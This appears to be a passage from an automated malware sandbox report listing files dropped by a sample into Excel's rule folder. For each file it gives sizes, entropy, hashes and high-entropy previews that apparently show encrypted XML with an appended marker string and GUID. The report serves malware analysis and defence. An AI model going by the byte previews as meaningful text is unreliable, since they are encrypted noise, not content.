Preview:	<?xml.X..(..N4_...W.U...@....3..1.B.WJe..gs.....T+..d.o..T...v+Ei....%.dUu.pv.../..W^.cq?y..\|.m3.5.r..4&z.ao.Ze.3Z..C......Q....]..m(.:.L$H...hqO..\|...o....ie.pn....q3.....M...P..q.Q.].8......8.9...6.h..uf....(..)ajAk.......4.J...Cv.....g.TZ{.......f.8>.L?..D8?......]..8.O.Tb~.I@..u.....7.^.&...bw.]R....!..=.6..&GR...o....q.....MN...;.Q..4Z...:g..{...".. .-........,5?.'.Qw.Y,.?#w>..'....b.^.x6..T..9.u....r+#RR1..Y......=.. ...B(.7.p'...t..s.jR...o...?.m..X..Q.Dl....'.p...#.......4M.:.3.vn@.V.......T&Et.....U.....3...8W6...1R.y..o.J., ~..M.......j.g..'..1......U$.?...R.b.Fwv.f.im.sHy.......W3e...>..:R/.5.".m...K...s....M.s._+R5z..yU...]..........2.?M.M>.f..V[.g...r...F4...}..=f.....KY9....[#...:u....c..P...j/.r.'2....'i...s.HE.j...s."%R..%.z.o.V.Gcem.O...Bgg..W....})%.[dw.(....Y.....Q..e........Q....<]....X...A..W.@.^,.X+o..;_..."5..._\|...H.KGnG]. ..-..G..'..]<....4.Vw..;..........g...o...2....*.....,.C>.......G..;p_m.h.^?...=wc[.0.j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.698751736206126
Encrypted:	false
SSDEEP:	12:TNS1bFVAZnju/81zaGqn1vPhXm0UZt+RQXMOhMcSilza3qj0WhNAeiixpZacii9a:TNSVFVAZnq7n1nhzcEQXMqMczd6iTkbD
MD5:	E3B73223AE5B92B07AE2AF58DCE93052
SHA1:	6DE9C6AC45D91AFACE01F026D0009DD20E7A0726
SHA-256:	A87D83E4B5BBA86D6280F5EA2C2593023CFB5505221F4B2E719E2FB1C5211C4A
SHA-512:	BCC704E0C110984B5355179217DDEA827FF38A1CA25EC12870AD9CE2AE46025B4B5DC73EC38D2C8C87A39379D480FD9ED0A0BD65C1D19C4390D6CA4465C04537
Malicious:	false
Preview:	<?xml.)fJ...e.....b.U..Qz.s..q.r.,W.b^.t."bo..P.....j.9e[5^&...oY.h4..!ew.!~...C..f&.r+..-.\|.%.#.JQ.>.<.....<T....x.w...#B..~.,..mV.p.D.(.....C.....zE..>......~F\0.R8}S.....#...c..S. .........BS..<.e.W._.5z....V..s...!.....L...A..e^h.52$.[...w.......(....-..1.....8..Q:..9.(...K...!..]./S...../...b.Ua....#...fw.p....CX.}..m.nn.zj.(...:..>._.+v.^.D6d4&......z....8.?.g...t.9....Tp...~...Z......e.3<u.R..(.....M...3........a-..Z.I.\|n..Q.}...Z......t....'owo.]+C.V........~.f........#.....5%%..r...d".P.(..C.......I......"...).=.O.2...-%.>~5.Y.[S.6G?1....N.._O...j.....{. &.....8t.S...,i..M.."...N.!...5+..K3.I..InX.n.e.Fj...n......Q..kr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.8370115180014865
Encrypted:	false
SSDEEP:	24:bQNaYXQKNOjW8mPkFWGe+Sx+0JuLUqw+eCbBVSalD4fTPoiTkbD:0Na/jW8QkAK0JuZveCbBVSalDiBiD
MD5:	F59EA623B1182FFBAF99CB847E75EABF
SHA1:	B3D091635D711B8EA1C93F37B7082B222CA299F8
SHA-256:	31B8868C48F90AFE0FB10FE41B4B2604A77CB9D87C7727B70281DA5C5201CC64
SHA-512:	8B9A9E66EADCF943B79885A1FBD6165746217BD76296E751207588AA309036FF17D994567BBF83D2A82610EE8F02B1AC3F9D3CF3CDADAC43CECC454D4420006D
Malicious:	false
Preview:	<?xml......v...A7.j.~&:e.......+......k.I.Wtq.N7a......F.W.\|.. .i :.......#...L...$....2Di.2..ko.[w7..6..T.....L7.(..W...1}w....x.Z2....,...^....%.G..%.a..e..%...j.....Z.N..H.....G^E\|...R...5z..N.^z/^.....iMw.P..PC....(..1....w..i..7t.>..$-.\|..3...E......_.8 DF.....j&....X .>.\Q..&$%..(v..1..?......)o....'...._.W..O.x.r.6O.~.....v..(.%.o.K...LB.....h..XMTe...Gw..v..g.8...r1.Z.S..@.....Lii.."x...x...9?.[{........hq-D.$.;...,'.B@..?F.`....s.+...bw..sS..p.M.......Hh.L...B.s.}..b..........;.@...].0.S!~${%.....C-.f.j..@F.4!H.Z.+....s1@........L..ZH3:.uh.P!.qMd.~.....Z_Vw~8&M.................+L.w.....m.O.X.t...l.h5.IK.....G....#......2.z.X.<E.....'..Z4.._..]&.D0...1...>Z.a...=5}.F....:y...D......Q.9.;.$....2.Q.4p...j..y..`z..2..d'.n Sg.F.!..=...Z...:.......y...dh#jx.>..U.Ny.X."..T.)6..SJr....S...Lq....V.mg.c....\.~j"J+..mG..D.3w.}. <.0.......__.)..xB$O...n.2c.V..H..&AQfI...%=.4.......{....h....!*qr..8.............I...pMW.x......xVy.0.Z/.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.564004659177429
Encrypted:	false
SSDEEP:	12:V1QY2AMm0KeIF2gThzirk/jUq8ndPuw1aTcPZ/ixpZacii9a:UYNMm0xkirk7UldPH1aIJiTkbD
MD5:	9BD80D67F5F6B3214853982B153A5BF4
SHA1:	859E1C43EC85FCBCC93B730E02760A1357BB36D6
SHA-256:	6B90F77541D761210BB3218F8A5E8431BEADF3451BE56DCA5BAC5CE52714FE68
SHA-512:	498CD903B94C3C552D964196F6A2C5DB7ECA023B0AF5DF2D0854C7E5136802614503F88FACAD4CF47CCDA01506491BEDFA6162F2FA09FA72010690D3A93C9F98
Malicious:	false
Preview:	<?xml...2.....wa...@.....3.{.'Yj.\|.2.z>=...+A..a./...-S...ay5..n...mD....yj.xc........D.].e.....[.I.K.Xr..d.. >E...%..,.].g.&Q....W.Z`....;../.P.6g.}.j.......8.b....Q.......5V.b...Y......]E....H..cV.D.....r..4..H}..-.P.[..253......m.d9.8..q.{.?....%.&b.+..>8.C[.(.Xf.]L....T.{..\......43....'....^..UvY".q.....Q.4.gn.Q?..D.....^.oG....jHO..e_.7..0....z....-J....rf.Ss./.[2.$W.T..X.........P.j.F..)..W...B.%.C..#.....>.....eB.A{.=....crr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.923020577013269
Encrypted:	false
SSDEEP:	48:k6icXVu78nepx/OLwAYST4h7keXEzK+b12HRCs/BGM5iD:fisuuG/Cwk0RXEzKH9GMI
MD5:	1B4853E2995A60917D86C64F79A1DE23
SHA1:	7D9B6A1FF134C0351D5B71D7E1C9E35627F46D33
SHA-256:	ECEE63D485AC429ECB201E827FDC91E3FC19B5272D55949ABDBDF02C51820351
SHA-512:	C9EECAA945AFEED4E98D13AC955C0DDB3FE587D0F3CEE88DEA78BA19DB7A64BCAE72BA68E298707AEE1B95EDFFEB3C1AF4C35A5153D224F5837A6B16962484B0
Malicious:	false
Preview:	<?xml..>!..?...W.1c}..q...U0.c..&....u..qizh-g.g..v.1fk.x.`....@.(....@.0..] M......H.~)E.-&...V./v..EtF..L..t......o.~....U.....!...H6!.f..)....I(b...B.:..f...>h=..8~/l]...^...O..R..Dz<.).E7.....+..f.......+...."..P..x..9es...V>.......C...@D.[...,...%.G$.#./.X.".x.l.W.i\|...F....\...=<.Ss.l6.k.........a.E..:..kl.....s....u..)%.=.:.zWDe1G..N..i.w...i...U....$I.....]e..0...U!H...Z<..&.A.xw..}.w......c........FD/..P..M..=-Y7Y....#6..`.....C...;...n.#.!..u.rQ.a5...o.B. ...5..{..x5.@........h=..].Cb..3%W...I....-M.3..(_.NG..........W..^.].....:+..<.UF1Tb......K9..C.}6.0..,rs.:...'f}7..........w..A........0....L!`...A..&s.^..$..~m.L.EB2...`s.E...i [ix.7;t.sX2iu^#...e.f.J.2.F.'.1.....C.M..............#..R.<.L.h..pf....A5..y...,q....&f(... !O.N....+..=..S)5.cpT..w#T........!..]Q4....0-\|wl`.k.......96....^.0\|^..."(...BR..'..Q.r1..nP.@.,EN..q.<.8.0.u.{......>4..O.....q...~(.^..&.D..-...#.8@.bO....-...1....}..Q..K2..\|[.epPD.P..n!UC._....;.p.... ){(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.710142067607281
Encrypted:	false
SSDEEP:	12:J3bgrB4negTgGpQzGXfAwfusdMaLG2j2TPVVsaEEo3f5xujqGBU7Wn1ch8qqixpW:teB4negUepvjfbXLZSPVWvTf5xsqqU7K
MD5:	2A9096A051916084E589FCC7A1E403BD
SHA1:	14BCF356679B9B40EA138E0BFD4FC2CBAD28731B
SHA-256:	D8905BC0DD2951E8285312D384CF954CD1EA49F5C08D0BD9CCE8C8C9B51A014C
SHA-512:	3A4EAAB0B8715E027EEB2B6E922ED5F853D2DEAB6818802F6F745F0C9FEA753281AE05D3546AC75FAD86B86C0C3094810385B290C08A5D92040397D15EA40535
Malicious:	false
Preview:	<?xml.9k..s..)..e.Y.qt.e..T.w..D.\...D..ez.../...FU&4...].].........;.....W.....\|.W.O..\|$..>rEj*./S.....$.u\|..I.'..m......S~.Z1.4. ..nY.....\..5]..Iv......:9..`.\|..k7$.[...z.i.....M../..=S......?.m....Do...4H...D.Eh.H..Cr.uI..Ml..(Y......_......6....\|......Q)}.H}(h......1.u.s.!..("....i..14[..Y^pi.......k.w._]$@3..=..eo.m..nJ!...:n.....D...s.x.3..e.-\...NM...D..;..%.J.....H.".Y......B.W..<.-...F..$.h.y....$...e..\|.}U@t.i...a.:B.7.....[E..g....9Jy.....`<t.p..-.)DsnW[.+.OA...5poP.CT..{)s... .....R.f^.Z.....?F....l6....3..%..Oj...P.....p.,..$P[..]v..l...i#....F...B..._m.....q..)._.}.U.?.-.9H...........c......OTt{./.. ......P..Ls.`.(r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.659653878343866
Encrypted:	false
SSDEEP:	12:NXU5X8/QYrSkzvQ45cYt/59cUGyqFJQ1UZm1eWbXEuvQC/7Pd3GELsoOLLtGixpW:NX1/zrCAtR+SqtQbXlNWvoQEiTkbD
MD5:	98B843ABBE5F260AF2204943EB1016AF
SHA1:	1758F0549FF659BA5F497FB31C8B9B5DB7A2B42F
SHA-256:	5F002F5C68FE85CEE9D4701209C2D6BF46BAD33994061E1B3A7C20FEE32285B1
SHA-512:	512C5E7275E9E7620D890A81C943C92B06AC9D5BDFA9EA88306A57AD75D010773087078E0957035F7986B2C7C9448E497218698FA5F3CB4FCBCB705EDF7EEF34
Malicious:	false
Preview:	<?xmlgd.o.u?.=S"..d.m.B....,..d.&..^i......4..T:.'....7...#.....g.o....O...u,.6VV..YL;...-P$........6....~O.p=..5.Ee'<..Zm...[..B..........t...uN_X=S....s.........A.n....j^.C.=..0..D..?.AQ.x.E.8;.<~.....H[.Xy"....)^.G....Eh..V.<....Lg.B...jEY.(.=.......\o.......g.G...e0h&.V?..X ...1>k.1..I`..$...8.ea:X.$.D...L R.B.{............v.M'$...kY....7>.6...4R...Pt.$>./..WX,..u.P.....y..[.k../..$.....).ZTCR?.n8VwrG....P}n...}C......'.m.4T...(...LS...Q?C...=..,..-N..~A"5...oG..D.....3.(2Ig0.....B......DpV...~...N.....Y...p.A}..i.c.N.!...d!...~r.N.%..=r=.P..u.{..M[.d...EE..?[..>.o@... ...L.P.j2..I7..=O.mC._.M.{G.......2z...........s....F`@2..[n.s.\|.S.7...o.`....m.......;.G..RJ(...Hf.....~m$kn..&'n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.690103530491812
Encrypted:	false
SSDEEP:	12:MRP2+Y5t+kAm7DJv+V9sWofnU5oaKErRIi+YzVFDOk7DbcUspHuixpZacii9a:M9s+krD92LofUCvURIvYzvtcUUuiTkbD
MD5:	A690CDAD0FFD2AB3AB247CFCCA7149EE
SHA1:	68A71E4706660FDE6A736C077A0BEB81666189EC
SHA-256:	AADA195151B295E1C0BEA8FBCFA1532894BA083E7749D559BD7C42C8E9090784
SHA-512:	4DB3C7D300E06EB7EB7BFF2A519A737970CE3512BC9E7EA53F5A68F3EDE571D37EAF549513D603B81757304B207EB5CEB2E378FC73544B793244B85974012710
Malicious:	false
Preview:	<?xml.#..(/j.AU.~.u.....%.p#..#....piF.......Q...M3....7G..V3..~l.un..X..^Z...kgF..e..........os.......sy..kV..q.Q...7...]..s.E.k...Y!HU.C....F.u..E...,\|{.l.c..y..._.?ipt/....I.Y..'..3_&[..5h.@..O...\|.Kc..u?.....Br..K.^......w.)]...u..V.y...={e ..xW!4.d.q.].....6.Q._......[X..#.#.."s.n.......x.>b.h!k..9.W.UY.../.?...T.hXk...r"..{..7biD......&..n.v......e.f..:.LG=.F..B...4.....A.\...\|..mN\.v.r..E/.q%..Ys.gs\|..7....mT.F...jCT.b.......o.....h.k..~....N....v'..>..o..b...g.........h9m.+7..~J....IL.)ZW.f....)j.......7..L..2...Vg...x...c.QC...J{J..i\|.}....w...k.y..Od.t....."6...>1.tgBb..+.]..G.....l...y..wu..s.A.x....Z....\|..=......4.Ar6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.744295659905513
Encrypted:	false
SSDEEP:	24:GIlXZfaa42guMyluulIxTLKc2HGH5fFiTkbD:Gda42guMyluwIRKc2HGH5f8iD
MD5:	6B538BEBAAE62A574CF1E845B2D29E15
SHA1:	4CBEBA23F4D9DD2C13F6144EA4B8697B7F6CB94D
SHA-256:	E5319F2D69FA5319FF95B8B7CF3CFDFDC2C9A783C0A1C494A384D20ECB3803C7
SHA-512:	EA286A07C7B4E57A7700707BDDE67A708C7963FBFE846AEEE79E187E46F75275D1CE461C48DC09C2C157B4BACC20706F3EDF2DE3DFC77DCE92140AA48CAEB04A
Malicious:	false
Preview:	<?xml..]...../.kd....$....D...L.....[p..z.....\|..3`.....8`R&..... F...o .....]<.....Y.3.............Q..Y.lt...n<.vr..........u.i...!I.J.q.......3..y......L...F.}....C....H...#.......w....`...WL..9...~w...$....K..}...T..Q..+...V..C.^+k..d\.. ...Q.f......}.\|.p.a..g.$.N.WN~.x.S.{..OC=9....os.w".[..Q..lj$.<......"*m....e.....W=..2...d.@;...%..gE..$.E.gB>n.=..y.X>..@.^N.$.G2"..?a.m....V.T..._+..\|...y.DG......7.{z........A+...1.........s.y..o..<Q.M...G......N.X...Uz.."k..,}.@g.{...v..ZN./..w45[..!..2.[0..z.S.......ZpT.+`0=..<f;.."}....y..E0.."..:.U.<.E.h.U.F........D./.......P.f+..iU.0'....J..]..x..&7......x.........:...VUrJQ;..#}....>....L..{......E.G.-..#7.......].8Z.B...pZ7..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.795064991056117
Encrypted:	false
SSDEEP:	24:63XlD0rsVRmiFoNybca4vprV9Sjpcnezkx4qiTkbD:mVDasfghaopR88eB/iD
MD5:	41805DB3B284E8C45FF4F8E3F2E0BE46
SHA1:	84E25745892784388EA87BD27B7CA2F9CADFD609
SHA-256:	84FAE79D6D03387A880AD1226DC9009986BC9703D0D94E339959AA35F42EB587
SHA-512:	2AE27FE19C7024BB3AFC597F52B0E3D11A75409054A0E525194B9B2369B434277D666F8824B48095242C36B2B097795FF9CAF44BAB20CF727082CD0E49E4D07F
Malicious:	false
Preview:	<?xml.w.,W...W......Ma..Z.p.......M...yJF.........../.hz..&<..g..%.(f ...5...bP...n.9..L.T....c.......O.1.~/....P...4$g.6G"$F9_...?..C.p.....p8n......e..[...K.4..wlW...A.D..aC...!+..K,Y5..d.."Ky.f...a.{.JrF.\..G....yw.j`X.1....V0.....;..uc^p....5......X-G..c.......Ej.\|.~p.W.{$...)...Q.,..c!,..}..v.{.`l...~.....&.a.S..".(.......m..x....V..........)......!.;.X...,<...e........nmc=H.z...~.....F.D..._...h.....@.K...u.05....$.9....6..[/\|.....r..2..x.o.......\.....M....a.{.t....\..l......`......7q..g.8l.;..6..v.j...e._R..8.I..}..O.I...i.\.mq...U?J..9.n..C...8..C.J .r.N'.!...)......=.b...Y..'....U..9~.[.Af%.:>..3qw.MYZM....voX.....u.......x..4k.5..[.(.n...0..ub.E..B.2,0.....k\|.f.X.....-w..Z/[RoKNj.oJ'NAy%=....\....)sbT8j.."..#.............K..T.......09N.=*.......\..L..\..<.>.K.:....B....q+...C.gb..5._....g`I!.\|....2..J......D.B...K.?.Y.3.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.733259428093536
Encrypted:	false
SSDEEP:	24:wtCRuzW/h2p9VmgtRziyu1JmtwFB5iTkbD:wPzMh2pDPzhuiuBYiD
MD5:	1366897629C975896C9B128073F624C6
SHA1:	458BA996BBC61F5C18E973C38728B3DB0496E3E3
SHA-256:	9B6BB210B865EB3BAD041B6CE808DDBBB4BD85DF04EF9C037037FE1FAE8B0911
SHA-512:	1EE50CEDC1E198A5E1EC72078E734A3F7E8B7B4FA3C3F0DDABA54A94FA4CB43F3C981B85017775DAC7B666D619FB06322B2DE73E92CB1C549902FAB26E50689E
Malicious:	false
Preview:	<?xml....6;..'.h,.0F\.r.....8i... ..R%J...B~4.u...&.F\|...uh..E"}.1....[.x..P~(v.A..{g.....`.....s...(K.......#.-e..,=...!._..t.r.2.4@.l..V..n..SO......."p.t..[5...`C\|..../...8..R.+.7(?...u."M03Z.1....I........eO.K~......\|g.a[9?......i....A.u5....tF...../..,..f....m.>.N.a.5\|.G..........6$.....aU^I.........kJ....6x-R..e..T.B... .'......Q.p.V......1.?......U.I..H..<3n.Z.......K.._(vD.N>...l....y...H.m....wn..........hrhUS..$Q.......Ca..Cu.=.z.6.j..Z'....w..5....;..J.5.....g..Y....a.@........Z....@y./.g...O K.......x2.J~....P...B.7.P...q\P..2."}.U0.k.....T..`..N.<_$y...=&....d.EW.t.\|..?...e...Z.J`......jB........\.-.WU`.-;ZU;9j.o...>....]..w...H).R..P../.3...6.`k.....b.at...).\.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.722637542585465
Encrypted:	false
SSDEEP:	12:Um0p8fFq36rPULnbmzm4s5imcRJizuD2H57RJWW6pS0CgztQG0EHUODl9uQJ9ixU:JH9YiP06zj2i3JizuD2Hhn6RztQG0oF5
MD5:	2108F8D8400724501BEFC2FE86F66A9C
SHA1:	EC437ECC0CA5ACC46EF53F8695DBA12FCAA65C8A
SHA-256:	579FC8B7F755F1E9C5ECC5F1FA85B9815D4462A654130035B5E6C13773727AFC
SHA-512:	1C077444DBEE9C901ED71E5719E975291CDCA5112B7EBF0A71E7D6215AEAA7237181C37538739960EA9B3498587F5E332120F291119C03E6FFCECA03D6ED33DF
Malicious:	false
Preview:	<?xmli=...{z.......g.i......Y.}..v.2j..i.,..:E..aF.,...3W..R+.H.e...'f....Ct6...)....?.b.8.R..wau..?...a07.....q(...&....H.....g.....M...........G.....73.cn.t.F..w.........P.m....{Q..\|.>;(.P....N..-y.>T.1~dN..y...$..X.].l.8...W:...6Q.".#.......R./..U.Pe.~....:.OqVTWc.V.....l.XP....@.m....=.v...j.zfM...xA...K.2.B....../.b9...q.]...r.....D.J..H.....}.Y].a&..JmT.u...\|....qhL4.\.....N...\|6..J..A..Y..O...]...2.`3....[.D.....r....!...o_.^i.b...g6....}<.I..g..Q..}ix4._S%.[w.2.......7.le.._..\..);...S.M.0....'H.F...C...T........L.w.Ko7d..........o....=WY:'.K...o._.w.tm..C2..U...%.i.)e&W...j:..R.f..g.]0...GU....'.`..E.%.\;..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.734927386966967
Encrypted:	false
SSDEEP:	24:avrZs7L7VFtVtD3Vx/VPkfCS1f7osLcdmMiTkbD:aDZs79Fp5LuzLcUliD
MD5:	D48D8F01FC2D0F98358F84813610A6A7
SHA1:	F0A1C75EB772ED0F8D3A7AF595AFAB9E3C1A1A9D
SHA-256:	A0628EB31E82CFF2402634DED7BCEA488436D47220BC777CE721D71EE0D3C5ED
SHA-512:	EA89AEFAC80F7077FF90DE68A9C3AA27DEC8D7A2319972450C8462C73A0E2B6018583A7F541C7B8C572EBE471124C79E4832B55B8764F26FDA761FBB05B38E38
Malicious:	false
Preview:	<?xml....2g..g...%.....M.....O#.Ah.(..........q..\|.].....q...y..-vi.Y...=...O{....:.a.e..3F.k.....t.......8\|.\|c.....}..V..&.K.z...I..d.s..f.?.....2....!7zYm6...sJ&.V.. .O.D.<w.up......X.T..3..XC.#.....E./...FzEk..s.3...!7B..3.O.....d_)...V....9];=,{N......T3.....VOe%,.Z.......vJ.e%rp._d.4.d.^.b..P...w.ws....Q5<..."..j..O.....C(._.J.].K.XOk......t4..G....O.".....e.f...v..J.[...H.......l.nN.Jm.X(.....z)..-...7.i..a.@.e..[.^.b..rV...o..Y.F.c...-..&..\o.mb........]..r.(+..b...w;.KV2....'Q..x. a.%....E`....t.E.^.0n..f._....~...,N.C..7zF...S..}..r..M~w2.........M.wGu]+....x\i..Q.x.....8V{_....G....d,........_...@..,to$*....D..(]Xfe.4...a......M..}^..Ka.I,.a.4..._..\...{.A....AS..?.hP.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.752501620546294
Encrypted:	false
SSDEEP:	12:o/aJxKM83QVVLiulfchfh306FDJcsh4Jqv1bvEdThixpZacii9a:oiJgMwQVVLdlfMfh30KHSioTiTkbD
MD5:	4E0051EF29884A75E6AE02D7834F8A64
SHA1:	44AB0CEE71A13B0B38D25A13F2F211A6FF641433
SHA-256:	B24463D07502C21E5B99EF83E418EA1602D15983056861BBC1F4AD76C3C22DC9
SHA-512:	1D9068A370B53D3F87044E76B373C72A49DFC1B97657B75B5496F888CE33560F7231F226AF08E5205098ACF2C166D57D5330D010CEC096061F0063A794EF5417
Malicious:	false
Preview:	<?xml.?.p....D4.1u........C..n.f.....7.M..u".a,\|......vC..R.K.O..6Dx...a......E..U#6D..=~ZG.B....F.V).).9.....o.R;.%`W..c-........./K...\|.~.e.....O0.7.L.HC\|..U..~.c...~.Re.=.5..R..5;5IJ-...$`..P...}.d.#.]B..8.....>\|...6.v...6.W...@........\..1.b.....N.]..i....g5c..t.....U...S.x..1h.&.^..{......:.1.s.. .!.U;.o.KX\|S.Z...$X.4Rf7la....d6.H.R^%.F.q.=.i..Z..I..U......}.>...i...{.....pcw........H.-...n...m.L..`Q.S.{..M#H.k.......tH@._......C.j..&.[..AW+......m....l=..~(..O.>(.....^i.q...q......e>.J.S.,.....V..+..%.8...........Io.i.......k.'..a..X.9..s.....lKV.........E.f........<4....}..$.h..Z...].H.P5.....z.E.D1.h.<......o...<....H....[.o...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.691953798410417
Encrypted:	false
SSDEEP:	24:0eBqvLsd+ThU9KeSpjLO0i3AkDcXGiTkbD:0eBqjE+7LO0iwk+iD
MD5:	52851D4828FE039CFE3F24140F4F7321
SHA1:	D3B3394405578159B8ED7D405E3E1DB25E19B2BB
SHA-256:	0AF6D2D260F8278DC4B1301E3C01AD2513BE67C67B02E03C95601C565CD66F86
SHA-512:	916FD1BB4EE26CA53524E4F2840D52A89EB95D1F1DBB2EEE00DE78F1CAD11777800DED2E225D54944D4023C2A2CB370B9915DBF53701F209A8C6D60BF6205578
Malicious:	false
Preview:	<?xml..!..j....I....ol.......$1...W..(.@..2..$.]z.X.`....s.S.\|..wy....e......H.%c.+..R._..(.fIuj..`..........{c=..."...f.$X..._n....Sn"....E8.oT...)"..^.+.(..A4...tS7EGo\|...>5".-...0...U.z. ..{....\|l.)Ft.D`.F.............m-..j.....bdfF...3E... .]Z!...5/}..Z..n4r.[.........z6...p..P...........Z5.c...".3.NU..mo9...v...Y...Q.w.R&......,@....g.yt7.s.lq........M....j..J!..x."21...N.N..U.1...a...6Y".DK.a..<..-)!T.Ey..t.;...._....H...@....,".[.r5...f..EB9.Lq..f .v.b.p..Zn.....b.G.......{.T.....q.PTN..Xy.m.QAgEd.g....,B.. [.D.HZ'.a....O0.H.cf.$.!..%d..BA..%..y...4t@_.:U.. ..V..j.....(...c..?..qU.G!O.0+...!...i...,.0R..........^+......``.S.r.@.Kiw_W.:.2...Y.Eq/.c.Iw.m:...._Jj"\|./....'..}.hY.....2r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.68892922982303
Encrypted:	false
SSDEEP:	12:n2Gt71M7FjeTkM+Hj8UAfTkEnMHtsqpfRzN0K3GXBqJpqoEWof5eixpZacii9a:n2wUjqkXHjtZEquqDzN0KKQJffweiTkX
MD5:	17155C77B2C6DA68F9294404EC8235D8
SHA1:	B2365616E4348DAF24730BF4D675A393B275E75A
SHA-256:	50C928B59BCD7D8B3A59A9BB5FAB2583F7A1A088D3C63D9532FF3771A61449D5
SHA-512:	04FAB5664FDFCE1C915406DE9DB604A9F7DD7DB9EF9B13C94C0968B400F55EFB2732AE2D21C4B1D5E5D025F098432255D8C234F12DBC29696327F338A0E51958
Malicious:	false
